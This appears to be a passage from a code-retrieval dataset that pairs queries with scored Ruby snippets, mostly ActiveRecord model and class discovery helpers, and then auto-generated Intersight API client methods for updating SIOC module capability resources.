@opts[:models]\n end", "title": "" }, { "docid": "2d3253cd8c94b4e779da524258999b2c", "score": "0.64252", "text": "def model_classes\n @model_classes = Dir.glob(src_dir + '/models/?*.as')\n @model_classes.collect! do |file|\n actionscript_file_to_class_name(file)\n end\n @model_classes\n end", "title": "" }, { "docid": "2b80222ef288b9f17efb2ad87effdee3", "score": "0.6415312", "text": "def all(statement = \"SELECT * FROM #{table_name}\")\n sql(statement).each_with_object [] do |attrs, models|\n models << new(attrs)\n end\n end", "title": "" }, { "docid": "cff20aa878b681da788271eac0c68bc7", "score": "0.64064974", "text": "def generate_models_from_tables\n LegacyData::TableClassNameMapper.naming_convention = options[:table_naming_convention]\n \n analyzed_tables = LegacyData::Schema.analyze(:table_name=>table_name, :skip_associated=>options[:skip_associated])\n\n unless analyzed_tables.blank?\n spec_dir_exists = File.exist? \"#{Rails.root}/spec\"\n\n LegacyData::TableClassNameMapper.let_user_validate_dictionary\n\n analyzed_tables.each do |analyzed_table|\n analyzed_table.class_name = LegacyData::TableClassNameMapper.class_name_for(analyzed_table[:table_name])\n\n # m.class_collisions :class_path, analyzed_table[:class_name]\n @definition = analyzed_table\n template 'model.rb', File.join('app/models', \"#{analyzed_table[:class_name].underscore}.rb\")\n\n add_factory_girl_factory analyzed_table if options[:with_factories] && spec_dir_exists\n end\n end\n end", "title": "" }, { "docid": "3007ea506e94bca7b1c7448a3045fcdc", "score": "0.64048785", "text": "def remove_orm_classes!\n orm_classes.each do |klass|\n if klass.respond_to?(:name) && !klass.name.blank?\n klass_name = klass.name.split('::').last\n Object.send(:remove_const, klass_name) if Object.const_defined?(klass_name)\n end\n end\n end", "title": "" }, { "docid": "8bfa7426aa24ddfe4b45cf405471fba6", "score": "0.638797", "text": "def find_models\n scope model_class.scoped\n end", "title": "" }, { "docid": "6fca47ff7b54c6797b2fcec8029f1ebf", "score": "0.63728535", "text": "def model_types\n types = []\n @models.each_value do |m|\n if m.respond_to?(:abstract_type) && m.abstract_type\n types << m.abstract_type\n end\n end\n types\n end", "title": "" }, { "docid": "9f2f36d23f1cd578d448a2417ea88bb3", "score": "0.6371882", "text": "def generate_classes\n @models.each do |namespace_name, namespace |\n namespace.each do |model_name, meta_model|\n namespace_model_name = \"#{namespace_name}.#{model_name}\"\n {\n :model => false,\n :model_base => true,\n :manager => false,\n :manager_base => true\n }.each do |class_type, base|\n generate_class meta_model, namespace_model_name, class_type, base\n end\n end\n end\n end", "title": "" }, { "docid": "a653fe3ab76cea911fdf1987ee30299a", "score": "0.6369634", "text": "def find_models\n raise_must_override\n end", "title": "" }, { "docid": "7e73e7d0a8f8544627432cfad1753de9", "score": "0.6366071", "text": "def associated_classes\n classes = []\n reflect_on_all_associations(:has_many).each do |aclass|\n class_name = aclass.name.to_s.camelize.singularize.constantize\n (classes << class_name) unless class_name == User\n end\n classes\n end", "title": "" }, { "docid": "73374d53905ccc593cbf77db3d13ffe2", "score": "0.6358816", "text": "def polymorphic_associations\n DirtySeed::DataModel.instance.active_record_models.select do |active_record_model|\n active_record_model.reflections.values.any? do |arm_reflection|\n arm_reflection.options[:as]&.to_sym == name\n end\n end\n rescue NameError\n []\n end", "title": "" }, { "docid": "bbd6a3157ae7770b153d21940749515d", "score": "0.6351783", "text": "def inherited_tables\n tables = query(<<-SQL, 'SCHEMA')\n SELECT inhrelid::regclass AS table_name,\n inhparent::regclass AS inheritances\n FROM pg_inherits\n JOIN pg_class parent ON pg_inherits.inhparent = parent.oid\n JOIN pg_class child ON pg_inherits.inhrelid = child.oid\n ORDER BY inhrelid\n SQL\n\n tables.each_with_object({}) do |(child, parent), result|\n (result[child] ||= []) << parent\n end\n end", "title": "" }, { "docid": "b1cea1869050d682c886582587a51ac8", "score": "0.63341016", "text": "def find_records\n self.class.model_klass.all\n end", "title": "" }, { "docid": "478f410e15d039adde29a609929cc07c", "score": "0.6329909", "text": "def inheritance_dependents\n connection.schema_cache.associations(table_name) || []\n end", "title": "" }, { "docid": "1dbc9cc7b8fb9bdf7ab5deab91f0b85a", "score": "0.6325077", "text": "def parent_classes\n Prisma::Database.get_classes(:meta).select {|klass|\n\tself.columns_hash[klass.foreign_column_name]\n }\n end", "title": "" }, { "docid": "bf110f5edc066d50b6c06c273418914f", "score": "0.6318676", "text": "def orm_classes\n default_classes + line_classes\n end", "title": "" }, { "docid": "ff22db1bd68f293c8b239a36df0fd40d", "score": "0.63016856", "text": "def parent_models\n models.group_by(&:table_name).each_value.map do |models|\n models.min_by { |model| models.include?(model.superclass) ? 1 : 0 }\n end\n end", "title": "" }, { "docid": "ff22db1bd68f293c8b239a36df0fd40d", "score": "0.63016856", "text": "def parent_models\n models.group_by(&:table_name).each_value.map do |models|\n models.min_by { |model| models.include?(model.superclass) ? 1 : 0 }\n end\n end", "title": "" }, { "docid": "3a0164839eb06ab7fe5f6d8f03204140", "score": "0.62989116", "text": "def all_models\n callbacks = migrate_each_model(find_models)\n cleanup(callbacks)\n end", "title": "" }, { "docid": "62a8a60ebf2effef44958700f554fdf6", "score": "0.629484", "text": "def attachment_owner_classes\n require 'set'\n klasses = Set.new\n \n model_names.each do |model_name|\n class_name = model_name.sub(/\\.rb$/,'').camelize\n begin\n klass = class_name.split('::').inject(Object) do |klass, part|\n klass.const_get(part)\n end\n if klass < ActiveRecord::Base && ! klass.abstract_class? &&\n klass.include?(AttachmentFx::Owner)\n klasses.add(klass)\n else\n #puts \"skipping #{class_name}\"\n end\n rescue Exception => e\n puts \"#{class_name}: #{e.message}\"\n end\n end\n\n if block_given?\n klasses.each { |klass| yield(klass) }\n else\n klasses\n end\n end", "title": "" }, { "docid": "552394424a956cefba0860a47ddbb9f6", "score": "0.62931764", "text": "def collect_table_names(models)\n models.map do |m|\n m.constantize.table_name\n end\n end", "title": "" }, { "docid": "813f11aa0839b3895a550d74464bb1d6", "score": "0.62909174", "text": "def object_class_list\r\n self.schema.object_classes.inject([]) do |arr, entry|\r\n #unless self.attributes['objectClass'].include?(entry.name)\r\n arr << entry.name unless arr.include?(entry.name)\r\n #end\r\n\r\n arr\r\n end\r\n end", "title": "" }, { "docid": "e6dc7d5aadac402894c41b6efa38396c", "score": "0.6284363", "text": "def models\n case search_includes_models\n when :collections\n collection_classes\n when :works\n work_classes\n else super # super includes both works and collections\n end\n end", "title": "" }, { "docid": "86ad3f5c8271bcacf606c0d4c7e932b0", "score": "0.6284181", "text": "def klasses\n if @klasses.nil?\n # build the klass list in two steps to avoid infinite loop in second call\n @klasses = Klass.all_from_base_descendents(self)\n @klasses += Klass.all_from_polymorphic_associations(self)\n end\n @klasses\n end", "title": "" }, { "docid": "6934e17971afb2d6277c20137f9909c7", "score": "0.62631625", "text": "def all\n adapter.exec(all_sql).map { |r| entity_klass.new(r) }\n end", "title": "" }, { "docid": "1ad5388825afb55803d46e92e329f688", "score": "0.62470216", "text": "def lookup_ancestors # :nodoc:\n klass = self\n classes = [klass]\n return classes if klass == ActiveRecord::Base\n\n while !klass.base_class?\n classes << klass = klass.superclass\n end\n classes\n end", "title": "" }, { "docid": "00c78bd8b0a23b21423a8b4caaac17b8", "score": "0.62383676", "text": "def child_classes\n Prisma::Database.get_classes(:meta).select {|klass|\n\tklass.columns_hash[self.foreign_column_name]\n }\n end", "title": "" }, { "docid": "11587e92118c709bb059121f6e58595f", "score": "0.6230377", "text": "def regular_associations\n [klass]\n rescue NameError\n []\n end", "title": "" }, { "docid": "5f8a53bcba94495c9e79083a9ff63ee3", "score": "0.62163806", "text": "def subclasses_all\n ret = []\n each_subclass {|c| ret.push c}\n ret\n end", "title": "" }, { "docid": "b2cd79116aead2c1ac64b4a7d9e186d4", "score": "0.6207751", "text": "def drop!\n model_classes.each { |model| model.table.drop! }\n true\n end", "title": "" }, { "docid": "799a3417ade5db5672b6d86f89989f78", "score": "0.6206227", "text": "def lookup_ancestors #:nodoc:\n klass = self\n classes = [klass]\n return classes if klass == ActiveRecord::Base\n\n while klass != klass.base_class\n classes << klass = klass.superclass\n end\n classes\n end", "title": "" }, { "docid": "799a3417ade5db5672b6d86f89989f78", "score": "0.6206227", "text": "def lookup_ancestors #:nodoc:\n klass = self\n classes = [klass]\n return classes if klass == ActiveRecord::Base\n\n while klass != klass.base_class\n classes << klass = klass.superclass\n end\n classes\n end", "title": "" }, { "docid": "799a3417ade5db5672b6d86f89989f78", "score": "0.6206227", "text": "def lookup_ancestors #:nodoc:\n klass = self\n classes = [klass]\n return classes if klass == ActiveRecord::Base\n\n while klass != klass.base_class\n classes << klass = klass.superclass\n end\n classes\n end", "title": "" }, { "docid": "a2ceb3bc3762e5254ba7163d99a1804d", "score": "0.6199354", "text": "def model_attributes(model, ignored_tables, ignored_cols)\n return [] if model.abstract_class? && Rails::VERSION::MAJOR < 3\n\n if model.abstract_class?\n model.direct_descendants.reject {|m| ignored?(m.table_name, ignored_tables)}.inject([]) do |attrs, m|\n attrs.push(model_attributes(m, ignored_tables, ignored_cols)).flatten.uniq\n end\n elsif !ignored?(model.table_name, ignored_tables) && @existing_tables.include?(model.table_name)\n model.columns.reject { |c| ignored?(c.name, ignored_cols) }.collect { |c| c.name }\n else\n []\n end\n end", "title": "" }, { "docid": "4de2fdfacf8d8a7a98d01295b6dda508", "score": "0.61981076", "text": "def model_names\n @model_names ||=\n ([Rails.application] + Rails::Engine.subclasses.map(&:instance)).flat_map do |app|\n (app.paths['app/models'].to_a + app.config.autoload_paths).map do |load_path|\n Dir.glob(app.root.join(load_path)).map do |load_dir|\n Dir.glob(load_dir + '/**/*.rb').map do |filename|\n next unless filename.match(/\\/models\\//)\n # app/models/module/class.rb => module/class.rb => module/class => Module::Class\n lchomp(filename, \"#{app.root.join(load_dir)}/\").chomp('.rb').camelize\n end\n end\n end\n end.flatten.compact.uniq\n end", "title": "" }, { "docid": "7ad006462b99ee60553f09949a427478", "score": "0.619463", "text": "def load_models\n Dir[\"#{app_root}/app/models/**/*.rb\"].each do |file|\n model_name = file.gsub(/^.*\\/([\\w_]+)\\.rb/, '\\1')\n \n next if model_name.nil?\n next if ::ActiveRecord::Base.send(:subclasses).detect { |model|\n model.name == model_name\n }\n \n begin\n model_name.camelize.constantize\n rescue NameError\n next\n end\n end\n end", "title": "" }, { "docid": "3646894e635bd610b8da2110a09d6ff6", "score": "0.6190429", "text": "def associated_single_classes\n []\n end", "title": "" }, { "docid": "92a599b2336f851a197236e59af75cbf", "score": "0.61894214", "text": "def unwanted_models\n [\n GenericCollection,\n Template\n ]\n end", "title": "" }, { "docid": "92a599b2336f851a197236e59af75cbf", "score": "0.61894214", "text": "def unwanted_models\n [\n GenericCollection,\n Template\n ]\n end", "title": "" }, { "docid": "95e220f6d5f7258fe32e8b811af6e2d0", "score": "0.61846286", "text": "def unrelate_classes\n # Should generate a call like self.projects.clear\n associated_classes.each do |rclass|\n self.send(rclass.to_s.pluralize.underscore + \"=\", nil)\n end\n end", "title": "" }, { "docid": "8aaf187ddbda00dd972511d8e4e72263", "score": "0.6184534", "text": "def record_classes(c = ActiveRecord::Base)\n # noinspection SpellCheckingInspection\n return [] if c.name.nil? || c.name.start_with?('HABTM_')\n return [c] if c.ancestors.include?(JobMethods)\n c.subclasses.flat_map { |sc| record_classes(sc) }.compact\n end", "title": "" }, { "docid": "0fbecdd380b9ae28c541abbfa3912a8d", "score": "0.61758953", "text": "def process_excluded_models\n Apartment.excluded_models.each do |excluded_model|\n excluded_model.constantize.tap do |klass|\n # some models (such as delayed_job) seem to load and cache their column names before this,\n # so would never get the default prefix, so reset first\n klass.reset_column_information\n\n # Ensure that if a schema *was* set, we override\n table_name = klass.table_name.split('.', 2).last\n\n klass.table_name = \"#{Apartment.default_schema}.#{table_name}\"\n end\n end\n end", "title": "" }, { "docid": "079f37fce8384a9bc4e0378c7eedf0a9", "score": "0.6171196", "text": "def unsorted_models\n active_record_models.map { |active_record_model| DirtySeed::Model.new(active_record_model) }\n end", "title": "" }, { "docid": "43d18c14959f9b6c236b3939e22b7056", "score": "0.6163035", "text": "def reachable_record_models\n self.class.reachable_record_models_for(self.root_record_model)\n end", "title": "" }, { "docid": "cd51ecdfbc806712bc949895b07d9078", "score": "0.61489654", "text": "def load_models\n base = \"#{app_root}/app/models/\"\n Dir[\"#{base}**/*.rb\"].each do |file|\n model_name = file.gsub(/^#{base}([\\w_\\/\\\\]+)\\.rb/, '\\1')\n \n next if model_name.nil?\n next if ::ActiveRecord::Base.send(:subclasses).detect { |model|\n model.name == model_name\n }\n \n begin\n model_name.camelize.constantize\n rescue LoadError\n model_name.gsub!(/.*[\\/\\\\]/, '')\n retry\n rescue NameError\n next\n end\n end\n end", "title": "" }, { "docid": "f8d32fcd7a9d7717413309fce6dc979c", "score": "0.61403936", "text": "def table_2_model\n return Hash[ActiveRecord::Base.send(:descendants).collect{|model| [model.table_name, model]}]\n end", "title": "" }, { "docid": "9f5bcbd8fdee54c99437307d1b1c0958", "score": "0.61367375", "text": "def get_db_table_list\n Rails.application.eager_load!\n db_table_list = ActiveRecord::Base.descendants.map(&:name)\n removables = ['ApplicationRecord', 'UniAct', 'UniCont', 'UniWeb', 'Delayed::Backend::ActiveRecord::Job']\n move_to_back = ['Cont']\n removables += move_to_back\n removables.each { |table| db_table_list.delete(table) }\n db_table_list += move_to_back\n return db_table_list\n end", "title": "" }, { "docid": "58321d6a386971a2641824d39e78f0e3", "score": "0.61328834", "text": "def observed_classes\n observees.all.map(&:model_name).freeze\n end", "title": "" }, { "docid": "c28238e01d1ff0703618e3f0de2cb9da", "score": "0.613258", "text": "def get_database_classes include_system_classes: false, requery: false\n requery = true if @classes.nil? || @classes.empty?\n if requery\n \t get_class_hierarchy requery: true\n \t system_classes = [\"OFunction\", \"OIdentity\", \"ORIDs\", \"ORestricted\", \"ORole\", \"OSchedule\", \"OTriggered\", \"OUser\", \"_studio\"]\n \t all_classes = get_classes('name').map(&:values).flatten\n \t @classes = include_system_classes ? all_classes : all_classes - system_classes\n end\n @classes\n end", "title": "" }, { "docid": "bc00713ab315177ede8a6822afb8732c", "score": "0.61274964", "text": "def fetch_model_list\n if parent_model\n return parent_model.send(\"#{model_name.pluralize.downcase}\")\n else\n return model_class.find(:all)\n end\n end", "title": "" }, { "docid": "4d73c30474c0ecec645355e51502e47a", "score": "0.61198825", "text": "def models\n []\n end", "title": "" }, { "docid": "86241d354f73037be9bf615dc1882e2a", "score": "0.61015946", "text": "def all_table_names\n (model_table_names + db_table_names).uniq\n end", "title": "" }, { "docid": "2fa59b93091a2da9db63628b9673714b", "score": "0.6100847", "text": "def entities\n # @see https://stackoverflow.com/a/36277614\n all_models = ApplicationRecord.descendants.sort_by(&:name)\n excluded_models = RailsInteractiveErd.excluded_model_names.map(&:constantize)\n\n (all_models - excluded_models).map do |model|\n {\n name: model.name,\n friendlyName: model.name.titlecase,\n comment: model_comment(model),\n columns: model_columns(model)\n }\n end\n end", "title": "" }, { "docid": "c36250c05d58c5084bf384928408fdf5", "score": "0.60999185", "text": "def classes\n @by_class.keys\n end", "title": "" }, { "docid": "7689aad08dd1698b34fe833fcbfa15ad", "score": "0.609489", "text": "def all(table)\n results = @db.execute <<-SQL\n SELECT *\n FROM #{table}\n SQL\n\n results.map do |row|\n model = TABLE_CLASS_MAP[table]\n model.new(row)\n end\n end", "title": "" }, { "docid": "a4e25ff324665d94b6f08514a7138be9", "score": "0.60880965", "text": "def objects\n assoc.klass.find :all\n end", "title": "" }, { "docid": "8560f74f3bc1fad7282d6b6dd210731d", "score": "0.60847044", "text": "def sti_cls_list\n if superclass.respond_to? :sti_cls_list\n superclass.sti_cls_list\n else\n @sti_cls_list\n end\n end", "title": "" }, { "docid": "d0f5f494ecf3cc5c15412d106245d6b3", "score": "0.60844976", "text": "def habtm_tables\n reflections = Hash.new { |h, k| h[k] = Array.new }\n ActiveRecord::Base.send(:descendants).map do |c|\n c.reflect_on_all_associations(:has_and_belongs_to_many).each do |a|\n reflections[a.join_table] << a\n end\n end\n reflections\n end", "title": "" }, { "docid": "3a4a9f9e7867476ffae8e059bcf12170", "score": "0.60795176", "text": "def possible_models\n all_possible_models\n end", "title": "" }, { "docid": "d3ba72d4f156b4ea9d3269f944c59d2c", "score": "0.607699", "text": "def child_classes\n self.class.child_classes\n end", "title": "" }, { "docid": "a023e85809efaf9c4cdb5816635dd05c", "score": "0.6069837", "text": "def asset_model_classes\n @@asset_model_classes ||= Seek::Util.persistent_classes.select do |c|\n !c.nil? && c.is_asset?\n end\n end", "title": "" }, { "docid": "a023e85809efaf9c4cdb5816635dd05c", "score": "0.6069837", "text": "def asset_model_classes\n @@asset_model_classes ||= Seek::Util.persistent_classes.select do |c|\n !c.nil? && c.is_asset?\n end\n end", "title": "" }, { "docid": "b12bffb8adf9f2c051bba8c6cb832652", "score": "0.60550183", "text": "def load_models\n ThinkingSphinx::Configuration.instance.model_directories.each do |base|\n Dir[\"#{base}**/*.rb\"].each do |file|\n model_name = file.gsub(/^#{base}([\\w_\\/\\\\]+)\\.rb/, '\\1')\n \n next if model_name.nil?\n next if ::ActiveRecord::Base.send(:subclasses).detect { |model|\n model.name == model_name\n }\n \n begin\n model_name.camelize.constantize\n rescue LoadError\n model_name.gsub!(/.*[\\/\\\\]/, '').nil? ? next : retry\n rescue NameError\n next\n rescue StandardError\n STDERR.puts \"Warning: Error loading #{file}\"\n end\n end\n end\n end", "title": "" } ]
3cd3bcadd908a222d0aa5e0eae3c2cce
Update a &39;capability.SiocModuleCapabilityDef&39; resource.
[ { "docid": "ab765395bd9ce087cf99b248be70fe2e", "score": "0.66771924", "text": "def update_capability_sioc_module_capability_def_with_http_info(moid, capability_sioc_module_capability_def, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CapabilityApi.update_capability_sioc_module_capability_def ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling CapabilityApi.update_capability_sioc_module_capability_def\"\n end\n # verify the required parameter 'capability_sioc_module_capability_def' is set\n if @api_client.config.client_side_validation && capability_sioc_module_capability_def.nil?\n fail ArgumentError, \"Missing the required parameter 'capability_sioc_module_capability_def' when calling CapabilityApi.update_capability_sioc_module_capability_def\"\n end\n # resource path\n local_var_path = '/api/v1/capability/SiocModuleCapabilityDefs/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(capability_sioc_module_capability_def)\n\n # return_type\n return_type = opts[:debug_return_type] || 'CapabilitySiocModuleCapabilityDef'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"CapabilityApi.update_capability_sioc_module_capability_def\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CapabilityApi#update_capability_sioc_module_capability_def\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" } ]
[ { "docid": "3eddd53d35c77d7eebd90ab8f7368557", "score": "0.7147115", "text": "def update_capability_sioc_module_capability_def(moid, capability_sioc_module_capability_def, opts = {})\n data, _status_code, _headers = update_capability_sioc_module_capability_def_with_http_info(moid, capability_sioc_module_capability_def, opts)\n data\n end", "title": "" }, { "docid": "997511da6727478395adcfec21c632ab", "score": "0.69540304", "text": "def update_capability_sioc_module_descriptor(moid, capability_sioc_module_descriptor, opts = {})\n data, _status_code, _headers = update_capability_sioc_module_descriptor_with_http_info(moid, capability_sioc_module_descriptor, opts)\n data\n end", "title": "" }, { "docid": "063a4fd6d43fbd314de299a63cc1ac3e", "score": "0.6820006", "text": "def update_capability_sioc_module_descriptor_with_http_info(moid, capability_sioc_module_descriptor, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CapabilityApi.update_capability_sioc_module_descriptor ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling CapabilityApi.update_capability_sioc_module_descriptor\"\n end\n # verify the required parameter 'capability_sioc_module_descriptor' is set\n if @api_client.config.client_side_validation && capability_sioc_module_descriptor.nil?\n fail ArgumentError, \"Missing the required parameter 'capability_sioc_module_descriptor' when calling CapabilityApi.update_capability_sioc_module_descriptor\"\n end\n # resource path\n local_var_path = '/api/v1/capability/SiocModuleDescriptors/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(capability_sioc_module_descriptor)\n\n # return_type\n return_type = opts[:debug_return_type] || 'CapabilitySiocModuleDescriptor'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"CapabilityApi.update_capability_sioc_module_descriptor\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CapabilityApi#update_capability_sioc_module_descriptor\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "dc5d84ba36bb255a581f8bacf0f2bdea", "score": "0.66699654", "text": "def patch_capability_sioc_module_descriptor(moid, capability_sioc_module_descriptor, opts = {})\n data, _status_code, _headers = patch_capability_sioc_module_descriptor_with_http_info(moid, capability_sioc_module_descriptor, opts)\n data\n end", "title": "" }, { "docid": "5a2d636f41cdab5c6fc2c799aa4d39c9", "score": "0.6634551", "text": "def patch_capability_sioc_module_capability_def(moid, capability_sioc_module_capability_def, opts = {})\n data, _status_code, _headers = patch_capability_sioc_module_capability_def_with_http_info(moid, capability_sioc_module_capability_def, opts)\n data\n end", "title": "" }, { "docid": "cfec83e64d15743b42c2b805fbc48eaa", "score": "0.6595063", "text": "def update_capability_sioc_module_manufacturing_def(moid, capability_sioc_module_manufacturing_def, opts = {})\n data, _status_code, _headers = update_capability_sioc_module_manufacturing_def_with_http_info(moid, capability_sioc_module_manufacturing_def, opts)\n data\n end", "title": "" }, { "docid": "1a7fa733dc5060f29647842702425064", "score": "0.65428793", "text": "def patch_capability_sioc_module_descriptor_with_http_info(moid, capability_sioc_module_descriptor, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CapabilityApi.patch_capability_sioc_module_descriptor ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling CapabilityApi.patch_capability_sioc_module_descriptor\"\n end\n # verify the required parameter 'capability_sioc_module_descriptor' is set\n if @api_client.config.client_side_validation && capability_sioc_module_descriptor.nil?\n fail ArgumentError, \"Missing the required parameter 'capability_sioc_module_descriptor' when calling CapabilityApi.patch_capability_sioc_module_descriptor\"\n end\n # resource path\n local_var_path = '/api/v1/capability/SiocModuleDescriptors/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(capability_sioc_module_descriptor)\n\n # return_type\n return_type = opts[:debug_return_type] || 'CapabilitySiocModuleDescriptor'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"CapabilityApi.patch_capability_sioc_module_descriptor\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CapabilityApi#patch_capability_sioc_module_descriptor\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "e19ae72c961a0c213c863a235081bcf2", "score": "0.63679177", "text": "def update_capability_sioc_module_manufacturing_def_with_http_info(moid, capability_sioc_module_manufacturing_def, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CapabilityApi.update_capability_sioc_module_manufacturing_def ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling CapabilityApi.update_capability_sioc_module_manufacturing_def\"\n end\n # verify the required parameter 'capability_sioc_module_manufacturing_def' is set\n if @api_client.config.client_side_validation && capability_sioc_module_manufacturing_def.nil?\n fail ArgumentError, \"Missing the required parameter 'capability_sioc_module_manufacturing_def' when calling CapabilityApi.update_capability_sioc_module_manufacturing_def\"\n end\n # resource path\n local_var_path = '/api/v1/capability/SiocModuleManufacturingDefs/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(capability_sioc_module_manufacturing_def)\n\n # return_type\n return_type = opts[:debug_return_type] || 'CapabilitySiocModuleManufacturingDef'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"CapabilityApi.update_capability_sioc_module_manufacturing_def\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CapabilityApi#update_capability_sioc_module_manufacturing_def\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "35dda0897dfb8ad33beebc97cd1c422c", "score": "0.6357084", "text": "def patch_capability_sioc_module_capability_def_with_http_info(moid, capability_sioc_module_capability_def, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CapabilityApi.patch_capability_sioc_module_capability_def ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling CapabilityApi.patch_capability_sioc_module_capability_def\"\n end\n # verify the required parameter 'capability_sioc_module_capability_def' is set\n if @api_client.config.client_side_validation && capability_sioc_module_capability_def.nil?\n fail ArgumentError, \"Missing the required parameter 'capability_sioc_module_capability_def' when calling CapabilityApi.patch_capability_sioc_module_capability_def\"\n end\n # resource path\n local_var_path = '/api/v1/capability/SiocModuleCapabilityDefs/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(capability_sioc_module_capability_def)\n\n # return_type\n return_type = opts[:debug_return_type] || 'CapabilitySiocModuleCapabilityDef'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || 